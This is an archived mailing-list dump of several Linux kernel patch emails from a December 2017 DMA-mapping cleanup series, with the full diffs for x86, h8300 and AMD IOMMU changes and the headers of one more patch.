Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 36/67] x86: remove dma_alloc_coherent_mask
Date: Fri, 29 Dec 2017 09:18:40 +0100
Lines: 153
Approved: news@gmane.org
Message-ID: <20171229081911.2802-37-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535623 15928 195.159.176.226 (29 Dec 2017 08:20:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:20:23 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 29 09:20:18 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eUptn-0003cc-Cc
	for lnx-sparclinux@m.gmane.org; Fri, 29 Dec 2017 09:20:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932712AbdL2IWQ (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 29 Dec 2017 03:22:16 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:45495 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932651AbdL2IWJ (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 29 Dec 2017 03:22:09 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=DOmDyQ++Y5Y5WGvWNIPx/XVVonhzVqlJBFXWabs+3/g=; b=fbYzrhqAsnXJD3WTFuItQEePZ
        1JYdct179xw8BqtVCfTXNx1A/Mr8oLzTbtpDtFaAPJnPnDDV8v7upAEuIwFRXPE8gsWFN31DrbI8r
        5giAU1Rop6h1fDGvrhRBDhxDzXk14InbDovLUhBwrq2sO2gVR7aHMzrTUVc+LO8Qopf5HshmotLMd
        lgstA0woIy1IhWKc6sd5Z5yCMki5KbSEhGTQUmMZcYeL9VWyWRjsI/ZbXVFrVvxYQUu199knBXnn8
        8Nmz1SBoTEOySepj2EewO/LcrcYyY03h9j4OLhNJ0CeiuL3L0FmV8WUeskAoIlmxH8hTq7b7v52nI
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpvO-0002dp-Uf; Fri, 29 Dec 2017 08:21:55 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27074 gmane.linux.kernel.iommu:21911 gmane.linux.ports.alpha:4578 gmane.linux.kernel.arc:3199 gmane.linux.ports.arm.kernel:622924 gmane.linux.ports.hexagon:1431 gmane.linux.ports.ia64:28421 gmane.linux.kernel.metag:1505 gmane.linux.ports.mips.general:62954 gmane.linux.ports.parisc:28096 gmane.linux.ports.ppc64.devel:151528 gmane.linux.ports.sh.devel:56067 gmane.linux.kernel.cross-arch:40814 gmane.linux.kernel:2654241
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27074>

These days all devices (including the ISA fallback device) have a coherent
DMA mask set, so remove the workaround.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/x86/include/asm/dma-mapping.h | 18 ++----------------
 arch/x86/kernel/pci-dma.c          | 10 ++++------
 arch/x86/mm/mem_encrypt.c          |  4 +---
 drivers/xen/swiotlb-xen.c          | 16 +---------------
 4 files changed, 8 insertions(+), 40 deletions(-)

diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index 6277c83c0eb1..545bf3721bc0 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -44,26 +44,12 @@ extern void dma_generic_free_coherent(struct device *dev, size_t size,
 				      void *vaddr, dma_addr_t dma_addr,
 				      unsigned long attrs);
 
-static inline unsigned long dma_alloc_coherent_mask(struct device *dev,
-						    gfp_t gfp)
-{
-	unsigned long dma_mask = 0;
-
-	dma_mask = dev->coherent_dma_mask;
-	if (!dma_mask)
-		dma_mask = (gfp & GFP_DMA) ? DMA_BIT_MASK(24) : DMA_BIT_MASK(32);
-
-	return dma_mask;
-}
-
 static inline gfp_t dma_alloc_coherent_gfp_flags(struct device *dev, gfp_t gfp)
 {
-	unsigned long dma_mask = dma_alloc_coherent_mask(dev, gfp);
-
-	if (dma_mask <= DMA_BIT_MASK(24))
+	if (dev->coherent_dma_mask <= DMA_BIT_MASK(24))
 		gfp |= GFP_DMA;
 #ifdef CONFIG_X86_64
-	if (dma_mask <= DMA_BIT_MASK(32) && !(gfp & GFP_DMA))
+	if (dev->coherent_dma_mask <= DMA_BIT_MASK(32) && !(gfp & GFP_DMA))
 		gfp |= GFP_DMA32;
 #endif
        return gfp;
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index df7ab02f959f..b59820872ec7 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -80,13 +80,10 @@ void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 				 dma_addr_t *dma_addr, gfp_t flag,
 				 unsigned long attrs)
 {
-	unsigned long dma_mask;
 	struct page *page;
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	dma_addr_t addr;
 
-	dma_mask = dma_alloc_coherent_mask(dev, flag);
-
 again:
 	page = NULL;
 	/* CMA can be used only in the context which permits sleeping */
@@ -95,7 +92,7 @@ void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 						 flag);
 		if (page) {
 			addr = phys_to_dma(dev, page_to_phys(page));
-			if (addr + size > dma_mask) {
+			if (addr + size > dev->coherent_dma_mask) {
 				dma_release_from_contiguous(dev, page, count);
 				page = NULL;
 			}
@@ -108,10 +105,11 @@ void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 		return NULL;
 
 	addr = phys_to_dma(dev, page_to_phys(page));
-	if (addr + size > dma_mask) {
+	if (addr + size > dev->coherent_dma_mask) {
 		__free_pages(page, get_order(size));
 
-		if (dma_mask < DMA_BIT_MASK(32) && !(flag & GFP_DMA)) {
+		if (dev->coherent_dma_mask < DMA_BIT_MASK(32) &&
+		    !(flag & GFP_DMA)) {
 			flag = (flag & ~GFP_DMA32) | GFP_DMA;
 			goto again;
 		}
diff --git a/arch/x86/mm/mem_encrypt.c b/arch/x86/mm/mem_encrypt.c
index 764b916ef7da..479586b8ca9b 100644
--- a/arch/x86/mm/mem_encrypt.c
+++ b/arch/x86/mm/mem_encrypt.c
@@ -203,12 +203,10 @@ void __init sme_early_init(void)
 static void *sev_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 		       gfp_t gfp, unsigned long attrs)
 {
-	unsigned long dma_mask;
 	unsigned int order;
 	struct page *page;
 	void *vaddr = NULL;
 
-	dma_mask = dma_alloc_coherent_mask(dev, gfp);
 	order = get_order(size);
 
 	/*
@@ -226,7 +224,7 @@ static void *sev_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 		 * mask with it already cleared.
 		 */
 		addr = __sme_clr(phys_to_dma(dev, page_to_phys(page)));
-		if ((addr + size) > dma_mask) {
+		if ((addr + size) > dev->coherent_dma_mask) {
 			__free_pages(page, get_order(size));
 		} else {
 			vaddr = page_address(page);
diff --git a/drivers/xen/swiotlb-xen.c b/drivers/xen/swiotlb-xen.c
index 5bb72d3f8337..e1c60899fdbc 100644
--- a/drivers/xen/swiotlb-xen.c
+++ b/drivers/xen/swiotlb-xen.c
@@ -53,20 +53,6 @@
  * API.
  */
 
-#ifndef CONFIG_X86
-static unsigned long dma_alloc_coherent_mask(struct device *dev,
-					    gfp_t gfp)
-{
-	unsigned long dma_mask = 0;
-
-	dma_mask = dev->coherent_dma_mask;
-	if (!dma_mask)
-		dma_mask = (gfp & GFP_DMA) ? DMA_BIT_MASK(24) : DMA_BIT_MASK(32);
-
-	return dma_mask;
-}
-#endif
-
 #define XEN_SWIOTLB_ERROR_CODE	(~(dma_addr_t)0x0)
 
 static char *xen_io_tlb_start, *xen_io_tlb_end;
@@ -328,7 +314,7 @@ xen_swiotlb_alloc_coherent(struct device *hwdev, size_t size,
 		return ret;
 
 	if (hwdev && hwdev->coherent_dma_mask)
-		dma_mask = dma_alloc_coherent_mask(hwdev, flags);
+		dma_mask = hwdev->coherent_dma_mask;
 
 	/* At this point dma_handle is the physical address, next we are
 	 * going to set it to the machine address.
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 35/67] h8300: use dma-direct
Date: Fri, 29 Dec 2017 09:18:39 +0100
Lines: 145
Approved: news@gmane.org
Message-ID: <20171229081911.2802-36-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535630 17624 195.159.176.226 (29 Dec 2017 08:20:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:20:30 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Dec 29 09:20:24 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eUptk-0002rv-GF
	for glpm-linux-m68k@m.gmane.org; Fri, 29 Dec 2017 09:20:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932686AbdL2IWO (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 29 Dec 2017 03:22:14 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:46810 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932612AbdL2IWG (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Fri, 29 Dec 2017 03:22:06 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=79ipsD+r4Tu4eJq5XY5ruVcIYHq8suJtg2gbCm1zfzk=; b=fYDXV5wl6PJxDmnopwvTziNn9
        4QMsVN2KNTM1ZONfaWuhAqPhcpDj4hhSD88E0m1Qc9f8ewTCQ9nvdOX5VQimZ7v75UjnDo8sRNOFq
        2hpAwYK6mcu2Ov24iUKnXNdhGU92QhNEjBdz7cPhIgYqe95AFx/eHhtKiHX/8Q6mRzvTQmdhtnWS+
        Dopv/NnVpg13CcQ2gzseL5NgGhU9MFKxal2jCO8bFxAThwWpvbnown2K1GB76sqwdYoKJUjDKmLlN
        rf52rCSa+wFGlCp6lhHHUf0QSKrhBA1LyaoFIgb9UloROS9h/TaxME3DtVNxREj1uox/yPeghUINQ
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpvK-0002am-Uz; Fri, 29 Dec 2017 08:21:51 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9757 gmane.linux.kernel.iommu:21912 gmane.linux.ports.alpha:4579 gmane.linux.kernel.arc:3200 gmane.linux.ports.arm.kernel:622925 gmane.linux.ports.hexagon:1432 gmane.linux.ports.ia64:28422 gmane.linux.kernel.metag:1506 gmane.linux.ports.mips.general:62955 gmane.linux.ports.parisc:28097 gmane.linux.ports.ppc64.devel:151529 gmane.linux.ports.sh.devel:56068 gmane.linux.ports.sparc:27075 gmane.linux.kernel.cross-arch:40815 gmane.linux.kernel:2654242
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9757>

Replace the bare-bones h8300 direct dma mapping implementation with
the fully featured generic dma-direct one.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/h8300/Kconfig                   |  1 +
 arch/h8300/include/asm/Kbuild        |  1 +
 arch/h8300/include/asm/dma-mapping.h | 12 -------
 arch/h8300/kernel/Makefile           |  2 +-
 arch/h8300/kernel/dma.c              | 67 ------------------------------------
 5 files changed, 3 insertions(+), 80 deletions(-)
 delete mode 100644 arch/h8300/include/asm/dma-mapping.h
 delete mode 100644 arch/h8300/kernel/dma.c

diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index f8d3fde08190..091d6d04b5e5 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -23,6 +23,7 @@ config H8300
 	select HAVE_ARCH_KGDB
 	select HAVE_ARCH_HASH
 	select CPU_NO_EFFICIENT_FFS
+	select DMA_DIRECT_OPS
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/h8300/include/asm/Kbuild b/arch/h8300/include/asm/Kbuild
index bc077491d299..642752c94306 100644
--- a/arch/h8300/include/asm/Kbuild
+++ b/arch/h8300/include/asm/Kbuild
@@ -9,6 +9,7 @@ generic-y += delay.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/h8300/include/asm/dma-mapping.h b/arch/h8300/include/asm/dma-mapping.h
deleted file mode 100644
index 21bb1fc3a6f1..000000000000
--- a/arch/h8300/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,12 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _H8300_DMA_MAPPING_H
-#define _H8300_DMA_MAPPING_H
-
-extern const struct dma_map_ops h8300_dma_map_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &h8300_dma_map_ops;
-}
-
-#endif
diff --git a/arch/h8300/kernel/Makefile b/arch/h8300/kernel/Makefile
index b62e830525c6..307aa51576dd 100644
--- a/arch/h8300/kernel/Makefile
+++ b/arch/h8300/kernel/Makefile
@@ -7,7 +7,7 @@ extra-y := vmlinux.lds
 
 obj-y := process.o traps.o ptrace.o \
 	 signal.o setup.o syscalls.o \
-	 irq.o entry.o dma.o
+	 irq.o entry.o
 
 obj-$(CONFIG_ROMKERNEL) += head_rom.o
 obj-$(CONFIG_RAMKERNEL) += head_ram.o
diff --git a/arch/h8300/kernel/dma.c b/arch/h8300/kernel/dma.c
deleted file mode 100644
index 4e27b74df973..000000000000
--- a/arch/h8300/kernel/dma.c
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * This file is subject to the terms and conditions of the GNU General Public
- * License.  See the file COPYING in the main directory of this archive
- * for more details.
- */
-
-#include <linux/dma-mapping.h>
-#include <linux/kernel.h>
-#include <linux/scatterlist.h>
-#include <linux/module.h>
-#include <asm/pgalloc.h>
-
-static void *dma_alloc(struct device *dev, size_t size,
-		       dma_addr_t *dma_handle, gfp_t gfp,
-		       unsigned long attrs)
-{
-	void *ret;
-
-	if (dev == NULL || (*dev->dma_mask < 0xffffffff))
-		gfp |= GFP_DMA;
-	ret = (void *)__get_free_pages(gfp, get_order(size));
-
-	if (ret != NULL) {
-		memset(ret, 0, size);
-		*dma_handle = virt_to_phys(ret);
-	}
-	return ret;
-}
-
-static void dma_free(struct device *dev, size_t size,
-		     void *vaddr, dma_addr_t dma_handle,
-		     unsigned long attrs)
-
-{
-	free_pages((unsigned long)vaddr, get_order(size));
-}
-
-static dma_addr_t map_page(struct device *dev, struct page *page,
-				  unsigned long offset, size_t size,
-				  enum dma_data_direction direction,
-				  unsigned long attrs)
-{
-	return page_to_phys(page) + offset;
-}
-
-static int map_sg(struct device *dev, struct scatterlist *sgl,
-		  int nents, enum dma_data_direction direction,
-		  unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sgl, sg, nents, i) {
-		sg->dma_address = sg_phys(sg);
-	}
-
-	return nents;
-}
-
-const struct dma_map_ops h8300_dma_map_ops = {
-	.alloc = dma_alloc,
-	.free = dma_free,
-	.map_page = map_page,
-	.map_sg = map_sg,
-	.is_phys = true,
-};
-EXPORT_SYMBOL(h8300_dma_map_ops);
-- 
2.14.2


From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 39/67] iommu/amd_iommu: use dma_direct_* helpers for the direct mapping case
Date: Fri, 29 Dec 2017 09:18:43 +0100
Lines: 74
Approved: news@gmane.org
Message-ID: <20171229081911.2802-40-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535640 19902 195.159.176.226 (29 Dec 2017 08:20:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:20:40 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 29 09:20:34 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eUpu2-0004Vu-9N
	for glk-linux-kernel-3@m.gmane.org; Fri, 29 Dec 2017 09:20:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932779AbdL2IWa (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 29 Dec 2017 03:22:30 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:52346 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932651AbdL2IWV (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 29 Dec 2017 03:22:21 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=gY1REQEo200sHWj7nehvGeEo/eN8+IrnLe2EtwZurBY=; b=AXZiuNYHPqB0MPi0RnXVXd8T7
        U1s+TmDV3irWigvqZscKZZOFdVrJhaLAWQnaxXIisVkoxYkkgwxVckD7/aFWv6cQyOWszcnKZPGTn
        D/cTMECee6AHfm3xC5okVeBPiKEotbTMxf3PGZ7EVm338ry8EadujrRBY0lqTxmE8exx4CUaN7X1M
        7J+DYQNvCtzf6aT+t2i3KmeVvV+Cf5ugqWx2EimOI/awXjWtJUdHe8kGCYytsrvivlbqDG6B4WHme
        q4lJZKkQSTeFhShvoU6j+KaRNGfs1xmiXXXgxwlPYsWH17+X3DEvozNprqOrlHbc3tRTb8pGBQOtL
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpvb-0002mE-Bc; Fri, 29 Dec 2017 08:22:08 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2654243 gmane.linux.kernel.iommu:21913 gmane.linux.ports.alpha:4580 gmane.linux.kernel.arc:3201 gmane.linux.ports.arm.kernel:622926 gmane.linux.ports.hexagon:1433 gmane.linux.ports.ia64:28423 gmane.linux.kernel.metag:1507 gmane.linux.ports.mips.general:62956 gmane.linux.ports.parisc:28098 gmane.linux.ports.ppc64.devel:151530 gmane.linux.ports.sh.devel:56069 gmane.linux.ports.sparc:27076 gmane.linux.kernel.cross-arch:40816
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2654243>

This adds support for CMA allocations, but is otherwise identical.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/iommu/Kconfig     |  1 +
 drivers/iommu/amd_iommu.c | 27 +++++++++------------------
 2 files changed, 10 insertions(+), 18 deletions(-)

diff --git a/drivers/iommu/Kconfig b/drivers/iommu/Kconfig
index f3a21343e636..dc7c1914645d 100644
--- a/drivers/iommu/Kconfig
+++ b/drivers/iommu/Kconfig
@@ -107,6 +107,7 @@ config IOMMU_PGTABLES_L2
 # AMD IOMMU support
 config AMD_IOMMU
 	bool "AMD IOMMU support"
+	select DMA_DIRECT_OPS
 	select SWIOTLB
 	select PCI_MSI
 	select PCI_ATS
diff --git a/drivers/iommu/amd_iommu.c b/drivers/iommu/amd_iommu.c
index ea4734de5357..a2ad149ab0bf 100644
--- a/drivers/iommu/amd_iommu.c
+++ b/drivers/iommu/amd_iommu.c
@@ -2592,11 +2592,9 @@ static void *alloc_coherent(struct device *dev, size_t size,
 	struct page *page;
 
 	domain = get_domain(dev);
-	if (PTR_ERR(domain) == -EINVAL) {
-		page = alloc_pages(flag, get_order(size));
-		*dma_addr = page_to_phys(page);
-		return page_address(page);
-	} else if (IS_ERR(domain))
+	if (PTR_ERR(domain) == -EINVAL)
+		return dma_direct_alloc(dev, size, dma_addr, flag, attrs);
+	else if (IS_ERR(domain))
 		return NULL;
 
 	dma_dom   = to_dma_ops_domain(domain);
@@ -2642,24 +2640,17 @@ static void free_coherent(struct device *dev, size_t size,
 			  void *virt_addr, dma_addr_t dma_addr,
 			  unsigned long attrs)
 {
-	struct protection_domain *domain;
-	struct dma_ops_domain *dma_dom;
-	struct page *page;
+	struct protection_domain *domain = get_domain(dev);
 
-	page = virt_to_page(virt_addr);
 	size = PAGE_ALIGN(size);
 
-	domain = get_domain(dev);
-	if (IS_ERR(domain))
-		goto free_mem;
-
-	dma_dom = to_dma_ops_domain(domain);
+	if (!IS_ERR(domain)) {
+		struct dma_ops_domain *dma_dom = to_dma_ops_domain(domain);
 
-	__unmap_single(dma_dom, dma_addr, size, DMA_BIDIRECTIONAL);
+		__unmap_single(dma_dom, dma_addr, size, DMA_BIDIRECTIONAL);
+	}
 
-free_mem:
-	if (!dma_release_from_contiguous(dev, page, size >> PAGE_SHIFT))
-		__free_pages(page, get_order(size));
+	dma_direct_free(dev, size, virt_addr, dma_addr, attrs);
 }
 
 /*
-- 
2.14.2



From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 38/67] x86/amd_gart: clean up gart_alloc_coherent
Date: Fri, 29 Dec 2017 09:18:42 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20171229081911.2802-39-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535641 20106 195.159.176.226 (29 Dec 2017 08:20:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
